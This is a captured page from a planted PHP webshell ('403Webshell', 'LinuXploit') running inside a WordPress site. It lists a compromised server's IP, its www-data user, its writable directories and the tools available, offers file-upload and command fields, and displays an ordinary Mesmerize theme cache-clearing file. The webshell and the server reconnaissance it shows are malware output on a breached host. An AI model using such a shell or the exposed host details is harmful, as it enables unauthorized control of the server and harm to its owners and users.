403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/themes/mesmerize/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wordpress/wp-content/themes/mesmerize/inc//theme-cache-cleaner.php
<?php

add_action('after_setup_theme', function () {
    $nonce = isset($_REQUEST['_wpnonce']) && !empty($_REQUEST['_wpnonce']) ? $_REQUEST['_wpnonce']: null;
    if(!wp_verify_nonce($nonce)) {
        return;
    }
    if (isset($_GET['mesmerize_clear_theme_cache']) && current_user_can('edit_theme_options')) {
        mesmerize_clear_cached_values();
        wp_redirect(site_url());
        exit;
    }
});

add_action('admin_bar_menu', function ($wp_admin_bar) {
    global $wp;
    /** @var WP_Admin_Bar $wp_admin_bar */
    $wp_admin_bar->remove_menu('extendthemes_clear_theme_cache');
    $wp_admin_bar->add_menu(array(
        'id'    => 'mesmerize_clear_theme_cache',
        'title' => sprintf('<span class="ab-icon dashicons-update" style = "line-height: 120%%;" ></span><span >%s </span >', __('Clear theme cache', 'mesmerize')),
        'href'  => wp_nonce_url(add_query_arg('mesmerize_clear_theme_cache', 1, home_url("/"))),
        'meta'  => array(
            'tabindex' => -1,
            'target'   => '_blank',
        ),
    ));
}, 72);

Youez - 2016 - github.com/yon3zu
LinuXploit